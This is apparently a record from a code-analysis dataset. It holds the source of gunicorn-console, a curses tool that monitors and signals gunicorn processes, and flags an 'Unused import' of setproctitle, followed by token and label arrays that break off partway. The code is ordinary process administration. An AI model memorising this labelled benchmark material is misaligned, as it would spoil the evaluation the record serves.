"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "x_", "=_", "int_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dictionary_", "=_", "dictionary_", "[_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "dictionary_", "=_", "dictionary_", "[_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "dictionary_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
stephenmcd/gunicorn-console/gunicorn_console.py
[ { "content": "#!/usr/bin/env python\n\nimport re\nimport curses\nfrom itertools import count\nfrom subprocess import Popen, PIPE\nfrom sys import platform, exit\n\n\n__version__ = \"0.1.16\"\n\ngunicorns = {} # gunicorn master process names/pids.\nselected_pid = None # Process ID of currently selected gunicorn master process.\nscreen_delay = .1 # Seconds between screen updates.\nps_delay = 2 # Seconds between ps updates.\ntick = -1 # Internal counter incremented in main event loop.\ntitle = \"(`\\._./`\\._.-> gunicorn-console <-._./`\\._./`)\"\ninstructions = \"\"\"(r)eload master | (t)otal reload | (a)dd worker\nkill (w)orker | kill (m)aster | (q)uit\nup/down changes selection\n\"\"\"\nno_gunicorns = \"Aww, no gunicorns are running!!\"\nscreen_width = None\nforeground_colour = curses.COLOR_BLACK\nbackground_colour = curses.COLOR_GREEN\n\ncmd_heading = \"CMD\"\n\nif re.search(\"freebsd|openbsd\", platform):\n cmd_heading = \"COMMAND\"\n\nif re.search(\"darwin|freebsd|openbsd\", platform):\n PS_ARGS = [\"ps\", \"-lx\"]\n\nelse:\n PS_ARGS = [\"ps\", \"x\", \"-Fe\"]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n try:\n import setproctitle\n except ImportError:\n print\n print \"\\033[91mError: You must install the setproctitle package.\\033[0m\"\n print\n exit()\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": " def ports_for_pids(pids):\n LSOF_ARGS = [\"lsof\", \"-i\", \"-n\", \"-P\"]\n # lsof is an external command, so won't always be present\n try:\n lsof = Popen(LSOF_ARGS, stdout=PIPE,\n stderr=PIPE).communicate()[0].split(\"\\n\")\n except:\n return\n addr_pos = None\n pid_pos = None\n addr_heading = \"NAME\"\n pid_heading = \"PID\"\n for row in lsof:\n if addr_heading in row and pid_heading in row:\n addr_pos = row.index(addr_heading)\n pid_pos = row.index(pid_heading)-2\n if addr_pos is not None:\n pid = row[pid_pos:].split(\" \")[0]\n if pid in pids:\n port = row[addr_pos:].split(\":\")[1].split(\" \", 1)[0]\n yield (pid, port)", "metadata": "root.ports_for_pids", "header": "['module', '___EOS___']", "index": 34 }, { "content": " def ports_for_pids(pids):\n netstat = Popen([\"netstat\",\"-lpn\"], stdout=PIPE,\n stderr=PIPE).communicate()[0].split(\"\\n\")\n addr_pos = None\n pid_pos = None\n addr_heading = \"Local Address\"\n pid_heading = \"PID/Program name\"\n for row in netstat:\n if addr_heading in row and pid_heading in row:\n addr_pos = row.index(addr_heading)\n pid_pos = row.index(pid_heading)\n if addr_pos is not None:\n pid = row[pid_pos:].split(\"/\")[0]\n if pid in pids:\n port = row[addr_pos:].split(\" \", 1)[0].split(\":\")[1]\n yield (pid, port)", "metadata": "root.ports_for_pids", "header": "['module', '___EOS___']", "index": 58 }, { "content": "def send_signal(signal):\n \"\"\"\n Send the signal to the selected master gunicorn process and show the given\n message as the current status.\n \"\"\"\n if selected_pid in gunicorns:\n Popen([\"kill\", \"-%s\" % signal, selected_pid])\n curses.flash()", "metadata": "root.send_signal", "header": "['module', '___EOS___']", "index": 76 }, { "content": "def move_selection(reverse=False):\n \"\"\"\n Goes through the list of gunicorns, setting the selected as the one after\n the currently selected.\n \"\"\"\n global selected_pid\n if selected_pid not in gunicorns:\n selected_pid = None\n found = False\n pids = sorted(gunicorns.keys(), reverse=reverse)\n # Iterate items twice to enable wrapping.\n for pid in pids + pids:\n if selected_pid is None or found:\n selected_pid = pid\n return\n found = pid == selected_pid", "metadata": "root.move_selection", "header": "['module', '___EOS___']", "index": 86 }, { "content": "def update_gunicorns():\n \"\"\"\n Updates the dict of gunicorn processes. Run the ps command and parse its\n output for processes named after gunicorn, building up a dict of gunicorn\n processes. When new gunicorns are discovered, run the netstat command to\n determine the ports they're serving on.\n \"\"\"\n global tick\n tick += 1\n if (tick * screen_delay) % ps_delay != 0:\n return\n tick = 0\n for pid in gunicorns:\n gunicorns[pid].update({\"workers\": 0, \"mem\": 0})\n ps = Popen(PS_ARGS, stdout=PIPE).communicate()[0].split(\"\\n\")\n headings = ps.pop(0).split()\n name_col = headings.index(cmd_heading)\n num_cols = len(headings) - 1\n for row in ps:\n cols = row.split(None, num_cols)\n if cols and \"gunicorn: \" in cols[name_col]:\n if \"gunicorn: worker\" in cols[name_col]:\n is_worker = True\n else:\n is_worker = False\n\n if is_worker:\n pid = cols[headings.index(\"PPID\")]\n else:\n pid = cols[headings.index(\"PID\")]\n if pid not in gunicorns:\n gunicorns[pid] = {\"workers\": 0, \"mem\": 0, \"port\": None, \"name\":\n cols[name_col].strip().split(\"[\",1)[1].split(\"]\",1)[:-1]}\n gunicorns[pid][\"mem\"] += int(cols[headings.index(\"RSS\")])\n if is_worker:\n gunicorns[pid][\"workers\"] += 1\n # Remove gunicorns that were not found in the process list.\n for pid in gunicorns.keys()[:]:\n if gunicorns[pid][\"workers\"] == 0:\n del gunicorns[pid]\n # Determine ports if any are missing.\n if not [g for g in gunicorns.values() if g[\"port\"] is None]:\n return\n for (pid, port) in ports_for_pids(gunicorns.keys()):\n if pid in gunicorns:\n gunicorns[pid][\"port\"] = port", "metadata": "root.update_gunicorns", "header": "['module', '___EOS___']", "index": 104 }, { "content": "def handle_keypress(screen):\n \"\"\"\n Check for a key being pressed and handle it if applicable.\n \"\"\"\n global selected_pid\n try:\n key = screen.getkey().upper()\n except:\n return\n if key in (\"KEY_DOWN\", \"J\"):\n move_selection()\n elif key in (\"KEY_UP\", \"K\"):\n move_selection(reverse=True)\n elif key in (\"A\", \"+\"):\n send_signal(\"TTIN\")\n if selected_pid in gunicorns:\n gunicorns[selected_pid][\"workers\"] = 0\n elif key in (\"W\", \"-\"):\n if selected_pid in gunicorns:\n if gunicorns[selected_pid][\"workers\"] != 1:\n send_signal(\"TTOU\")\n gunicorns[selected_pid][\"workers\"] = 0\n elif key in (\"R\",):\n if selected_pid in gunicorns:\n send_signal(\"HUP\")\n del gunicorns[selected_pid]\n selected_pid = None\n elif key in (\"T\",):\n for pid in gunicorns.copy().iterkeys():\n selected_pid = pid\n send_signal(\"HUP\")\n del gunicorns[selected_pid]\n selected_pid = None\n elif key in (\"M\", \"-\"):\n if selected_pid in gunicorns:\n send_signal(\"QUIT\")\n del gunicorns[selected_pid]\n selected_pid = None\n elif key in (\"Q\",):\n raise KeyboardInterrupt", "metadata": "root.handle_keypress", "header": "['module', '___EOS___']", "index": 152 }, { "content": "def format_row(pid=\"\", port=\"\", name=\"\", mem=\"\", workers=\"\", prefix_char=\" \"):\n \"\"\"\n Applies consistant padding to each of the columns in a row and serves as\n the source of the overall screen width.\n \"\"\"\n row = \"%s%-5s %-6s %-25s %8s %7s \" \\\n % (prefix_char, pid, port, name, mem, workers)\n\n global screen_width\n if screen_width is None:\n screen_width = len(row)\n return row", "metadata": "root.format_row", "header": "['module', '___EOS___']", "index": 194 }, { "content": "def display_output(screen):\n \"\"\"\n Display the menu list of gunicorns.\n \"\"\"\n format_row() # Sets up the screen width.\n screen_height = len(gunicorns) + len(instructions.split(\"\\n\")) + 9\n if not gunicorns:\n screen_height += 2 # A couple of blank lines are added when empty.\n screen.erase()\n win = curses.newwin(screen_height, screen_width + 6, 1, 3)\n win.bkgd(\" \", curses.color_pair(1))\n win.border()\n x = 3\n blank_line = y = count(2).next\n win.addstr(y(), x, title.center(screen_width), curses.A_NORMAL)\n blank_line()\n win.addstr(y(), x, format_row(\" PID\", \"PORT\", \"NAME\", \"MEM (MB)\", \"WORKERS\"),\n curses.A_STANDOUT)\n if not gunicorns:\n blank_line()\n win.addstr(y(), x, no_gunicorns.center(screen_width),\n curses.A_NORMAL)\n blank_line()\n else:\n win.hline(y(), x, curses.ACS_HLINE, screen_width)\n for (i, pid) in enumerate(sorted(gunicorns.keys())):\n port = gunicorns[pid][\"port\"]\n name = gunicorns[pid][\"name\"]\n mem = \"%#.3f\" % (gunicorns[pid][\"mem\"] / 1000.)\n workers = gunicorns[pid][\"workers\"]\n # When a signal is sent to update the number of workers, the number\n # of workers is set to zero as a marker to signify an update has\n # occurred. We then piggyback this variable and use it as a counter\n # to animate the display until the gunicorn is next updated.\n if workers < 1:\n gunicorns[pid][\"workers\"] -= 1\n chars = \"|/-\\\\\"\n workers *= -1\n if workers == len(chars):\n gunicorns[pid][\"workers\"] = workers = 0\n workers = chars[workers]\n if pid == selected_pid:\n attr = curses.A_STANDOUT\n prefix_char = '> '\n else:\n attr = curses.A_NORMAL\n prefix_char = ' '\n win.addstr(y(), x, format_row(pid, port, name, mem, workers,\n prefix_char), attr)\n win.hline(y(), x, curses.ACS_HLINE, screen_width)\n blank_line()\n for line in instructions.split(\"\\n\"):\n win.addstr(y(), x, line.center(screen_width), curses.A_NORMAL)\n win.refresh()", "metadata": "root.display_output", "header": "['module', '___EOS___']", "index": 208 }, { "content": "def main():\n \"\"\"\n Main entry point for gunicorn_console.\n \"\"\"\n # Set up curses.\n stdscr = curses.initscr()\n curses.start_color()\n curses.init_pair(1, foreground_colour, background_colour)\n curses.noecho()\n stdscr.keypad(True)\n stdscr.nodelay(True)\n try:\n curses.curs_set(False)\n except:\n pass\n try:\n # Run main event loop until quit.\n while True:\n try:\n update_gunicorns()\n handle_keypress(stdscr)\n display_output(stdscr)\n curses.napms(int(screen_delay * 1000))\n except KeyboardInterrupt:\n break\n finally:\n # Tear down curses.\n curses.nocbreak()\n stdscr.keypad(False)\n curses.echo()\n curses.endwin()", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 264 } ]
[ { "span": "import setproctitle", "start_line": 299, "start_column": 8, "end_line": 299, "end_column": 27 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "curses_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "itertools_", "import_", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "subprocess_", "import_", "Popen_", ",_", "PIPE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sys_", "import_", "platform_", ",_", "exit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "version\\u\\u_", "=_", "\"", "0.", "1.1", "6", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gun", "icor", "ns_", "=_", "{_", "}_", "#", " ", "gun", "icor", "n", " ", "master", " ", "process", " ", "names", "/", "pid", "s", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "pid_", "=_", "None_", "#", " ", "Process", " ", "ID", " ", "of", " ", "currentl", "y", " ", "selecte", "d", " ", "gun", "icor", "n", " ", "master", " ", "process", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "screen", "\\u", "delay_", "=_", ".1_", "#", " ", "Second", "s", " ", "bet", "ween", " ", "screen", " ", "update", "s", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ps", "\\u", "delay_", "=_", "2_", "#", " ", "Second", "s", " ", "bet", "ween", " ", "ps", " ", "update", "s", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tick_", "=_", "-_", "1_", "#", " ", "Intern", "al", " ", "counter", " ", "increment", "ed", " ", "in", " ", "main", " ", "event", " ", "loop", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "title_", "=_", "\"(", "`", "\\\\.", "\\u.", "/", "`", "\\\\.", "\\u.", "->", " ", "gun", "icor", "n", "-", "console", " ", "<-", ".\\u", "./", "`", "\\\\.", "\\u.", "/", "`)", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instructions_", "=_", "\"\"\"(", "r", ")", "elo", "ad", " ", "master", " ", "|", " ", "(", "t", ")", "otal", " ", "relo", "ad", " ", "|", " ", "(", "a", ")", "dd", " ", "worker", "\\", "10", ";", "kill", " ", "(", "w", ")", "ork", "er", " ", "|", " ", "kill", " ", "(", "m", ")", "aster", " ", "|", " ", "(", "q", ")", "uit", "\\", "10", ";", "up", "/", "down", " ", "change", "s", " ", "selection", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "no", "\\u", "gun", "icor", "ns_", "=_", "\"", "Aw", "w", ",", " ", "no", " ", "gun", "icor", "ns", " ", "are", " ", "runn", "ing", "!!\"", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "screen", "\\u", "width_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fore", "ground", "\\u", "colour_", "=_", "curses_", "._", "COLOR", "\\u", "BLACK_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "background", "\\u", "colour_", "=_", "curses_", "._", "COLOR", "\\u", "GREEN_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmd", "\\u", "heading_", "=_", "\"", "CMD", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "re_", "._", "search_", "(_", "\"", "freeb", "sd", "|", "openb", "sd", "\"_", ",_", "platform_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd", "\\u", "heading_", "=_", "\"", "COMMA", "ND", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "re_", "._", "search_", "(_", "\"", "dar", "win", "|", "freeb", "sd", "|", "openb", "sd", "\"_", ",_", "platform_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "PS", "\\u", "ARGS_", "=_", "[_", "\"", "ps", "\"_", ",_", "\"-", "lx", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "PS", "\\u", "ARGS_", "=_", "[_", "\"", "ps", "\"_", ",_", "\"", "x", "\"_", ",_", "\"-", "Fe", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "setp", "roc", "title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "033", "[", "9", "1", "m", "Error", ":", " ", "You", " ", "must", " ", "install", " ", "the", " ", "setp", "roc", "title", " ", "package", ".\\\\", "033", "[", "0", "m", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "port", "s", "\\u", "for", "\\u", "pids_", "(_", "pids_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LS", "OF", "\\u", "ARGS_", "=_", "[_", "\"", "lso", "f", "\"_", ",_", "\"-", "i", "\"_", ",_", "\"-", "n", "\"_", ",_", "\"-", "P", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "lso", "f", " ", "is", " ", "an", " ", "external", " ", "command", ",", " ", "so", " ", "won", "'", "t", " ", "alw", "ay", "s", " ", "be", " ", "present_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lso", "f_", "=_", "Popen_", "(_", "LS", "OF", "\\u", "ARGS_", ",_", "stdout_", "=_", "PIPE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stderr_", "=_", "PIPE_", ")_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", "._", "split_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "addr", "\\u", "pos_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pid", "\\u", "pos_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "addr", "\\u", "heading_", "=_", "\"", "NAME", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pid", "\\u", "heading_", "=_", "\"", "PID", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "lso", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "addr", "\\u", "heading_", "in_", "row_", "and_", "pid", "\\u", "heading_", "in_", "row_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr", "\\u", "pos_", "=_", "row_", "._", "index_", "(_", "addr", "\\u", "heading_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pid", "\\u", "pos_", "=_", "row_", "._", "index_", "(_", "pid", "\\u", "heading_", ")_", "-_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "addr", "\\u", "pos_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pid_", "=_", "row_", "[_", "pid", "\\u", "pos_", ":_", "]_", "._", "split_", "(_", "\"", " ", "\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pid_", "in_", "pids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "port_", "=_", "row_", "[_", "addr", "\\u", "pos_", ":_", "]_", "._", "split_", "(_", "\":\"_", ")_", "[_", "1_", "]_", "._", "split_", "(_", "\"", " ", "\"_", ",_", "1_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "pid_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "port", "s", "\\u", "for", "\\u", "pids_", "(_", "pids_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nets", "tat_", "=_", "Popen_", "(_", "[_", "\"", "nets", "tat", "\"_", ",_", "\"-", "lp", "n", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stderr_", "=_", "PIPE_", ")_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", "._", "split_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "addr", "\\u", "pos_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pid", "\\u", "pos_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "addr", "\\u", "heading_", "=_", "\"", "Local", " ", "Address", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pid", "\\u", "heading_", "=_", "\"", "PID", "/", "Program", " ", "name", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "nets", "tat_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "addr", "\\u", "heading_", "in_", "row_", "and_", "pid", "\\u", "heading_", "in_", "row_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr", "\\u", "pos_", "=_", "row_", "._", "index_", "(_", "addr", "\\u", "heading_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pid", "\\u", "pos_", "=_", "row_", "._", "index_", "(_", "pid", "\\u", "heading_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "addr", "\\u", "pos_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pid_", "=_", "row_", "[_", "pid", "\\u", "pos_", ":_", "]_", "._", "split_", "(_", "\"/\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pid_", "in_", "pids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "port_", "=_", "row_", "[_", "addr", "\\u", "pos_", ":_", "]_", "._", "split_", "(_", "\"", " ", "\"_", ",_", "1_", ")_", "[_", "0_", "]_", "._", "split_", "(_", "\":\"_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "pid_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send", "\\u", "signal_", "(_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sen", "d", " ", "the", " ", "signal", " ", "to", " ", "the", " ", "selecte", "d", " ", "master", " ", "gun", "icor", "n", " ", "process", " ", "and", " ", "show", " ", "the", " ", "give", "n", "\\", "10", ";", " ", " ", " ", " ", "message", " ", "as", " ", "the", " ", "current", " ", "status", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selecte", "d\\u", "pid_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Popen_", "(_", "[_", "\"", "kill", "\"_", ",_", "\"-", "%", "s", "\"_", "%_", "signal_", ",_", "selecte", "d\\u", "pid_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "curses_", "._", "flash_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "move", "\\u", "selection_", "(_", "reverse_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Go", "es", " ", "through", " ", "the", " ", "list", " ", "of", " ", "gun", "icor", "ns", ",", " ", "setti", "ng", " ", "the", " ", "selecte", "d", " ", "as", " ", "the", " ", "one", " ", "after", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "currentl", "y", " ", "selecte", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "selecte", "d\\u", "pid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selecte", "d\\u", "pid_", "not_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selecte", "d\\u", "pid_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 